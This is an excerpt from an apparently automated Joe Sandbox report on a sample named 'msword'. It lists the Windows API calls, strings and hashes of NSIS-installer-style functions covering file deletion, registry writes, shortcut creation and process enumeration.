                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
                                                                            • lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
                                                                            • lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
                                                                            • lstrlenW.KERNEL32(?), ref: 00406D2C
                                                                            • FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
                                                                            • FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
                                                                            • FindClose.KERNEL32(?), ref: 00406E33
                                                                            Strings
                                                                            • RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
                                                                            • Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
                                                                            • RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
                                                                            • Delete: DeleteFile("%s"), xrefs: 00406DBC
                                                                            • Delete: DeleteFile failed("%s"), xrefs: 00406DFD
                                                                            • \*.*, xrefs: 00406D03
                                                                            • RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
                                                                            • RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                            • String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
                                                                            • API String ID: 2035342205-3294556389
                                                                            • Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
                                                                            • Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
                                                                            • Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
                                                                            • Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD
                                                                            Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E
                                                                            Strings
                                                                            • CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CreateInstance
                                                                            • String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
                                                                            • API String ID: 542301482-1377821865
                                                                            • Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
                                                                            • Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
                                                                            • Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
                                                                            • Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54
                                                                            Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FileFindFirst
                                                                            • String ID:
                                                                            • API String ID: 1974802433-0
                                                                            • Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
                                                                            • Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
                                                                            • Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
                                                                            • Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A
                                                                            Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
                                                                            • lstrlenW.KERNEL32(?), ref: 004063CC
                                                                            • GetVersionExW.KERNEL32(?), ref: 0040642A
                                                                              • Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031
                                                                            • LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
                                                                            • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
                                                                            • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
                                                                            • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
                                                                            • FreeLibrary.KERNEL32(00000000), ref: 004064D4
                                                                            • GlobalFree.KERNEL32(?), ref: 004064DD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
                                                                            • String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
                                                                            • API String ID: 20674999-2124804629
                                                                            • Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
                                                                            • Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
                                                                            • Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
                                                                            • Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68
                                                                            Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
                                                                            • GetDlgItem.USER32(?,000003E8), ref: 00404181
                                                                            • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
                                                                            • GetSysColor.USER32(?), ref: 004041AF
                                                                            • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
                                                                            • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
                                                                            • lstrlenW.KERNEL32(?), ref: 004041D6
                                                                            • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
                                                                            • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2
                                                                              • Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
                                                                              • Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
                                                                              • Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004
                                                                            • GetDlgItem.USER32(?,0000040A), ref: 0040424A
                                                                            • SendMessageW.USER32(00000000), ref: 00404251
                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0040427E
                                                                            • SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
                                                                            • SetCursor.USER32(00000000), ref: 004042D2
                                                                            • ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
                                                                            • SetCursor.USER32(00000000), ref: 004042F6
                                                                            • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
                                                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
                                                                            • String ID: @%F$N$open
                                                                            • API String ID: 3928313111-3849437375
                                                                            • Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
                                                                            • Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
                                                                            • Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
                                                                            • Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99
                                                                            Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
                                                                            • CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
                                                                            • GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1
                                                                              • Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
                                                                              • Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8
                                                                            • GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
                                                                            • wsprintfA.USER32 ref: 00406B4D
                                                                            • GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
                                                                            • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
                                                                            • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
                                                                            • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37
                                                                              • Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                              • Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                            • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
                                                                            • GlobalFree.KERNEL32(00000000), ref: 00406C52
                                                                            • CloseHandle.KERNEL32(?), ref: 00406C5C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
                                                                            • String ID: F$%s=%s$NUL$[Rename]
                                                                            • API String ID: 565278875-1653569448
                                                                            • Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
                                                                            • Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
                                                                            • Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
                                                                            • Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC
                                                                            Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                            • BeginPaint.USER32(?,?), ref: 00401047
                                                                            • GetClientRect.USER32(?,?), ref: 0040105B
                                                                            • CreateBrushIndirect.GDI32(00000000), ref: 004010D8
                                                                            • FillRect.USER32(00000000,?,00000000), ref: 004010ED
                                                                            • DeleteObject.GDI32(?), ref: 004010F6
                                                                            • CreateFontIndirectW.GDI32(?), ref: 0040110E
                                                                            • SetBkMode.GDI32(00000000,00000001), ref: 0040112F
                                                                            • SetTextColor.GDI32(00000000,000000FF), ref: 00401139
                                                                            • SelectObject.GDI32(00000000,?), ref: 00401149
                                                                            • DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00401169
                                                                            • DeleteObject.GDI32(?), ref: 0040116E
                                                                            • EndPaint.USER32(?,?), ref: 00401177
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                            • String ID: F
                                                                            • API String ID: 941294808-1304234792
                                                                            • Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
                                                                            • Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
                                                                            • Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
                                                                            • Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4
                                                                            Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
                                                                            • lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
                                                                            • RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
                                                                            • RegCloseKey.ADVAPI32(?), ref: 004029E4
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            Strings
                                                                            • WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
                                                                            • WriteReg: error creating key "%s\%s", xrefs: 004029F5
                                                                            • WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
                                                                            • WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
                                                                            • WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
                                                                            • WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: lstrlen$CloseCreateValuewvsprintf
                                                                            • String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
                                                                            • API String ID: 1641139501-220328614
                                                                            • Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
                                                                            • Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
                                                                            • Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
                                                                            • Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59
                                                                            Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
                                                                            • GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
                                                                            • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
                                                                            • GlobalFree.KERNEL32(00000000), ref: 00402F17
                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
                                                                            • DeleteFileW.KERNEL32(?), ref: 00402F56
                                                                            Strings
                                                                            • created uninstaller: %d, "%s", xrefs: 00402F3B
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
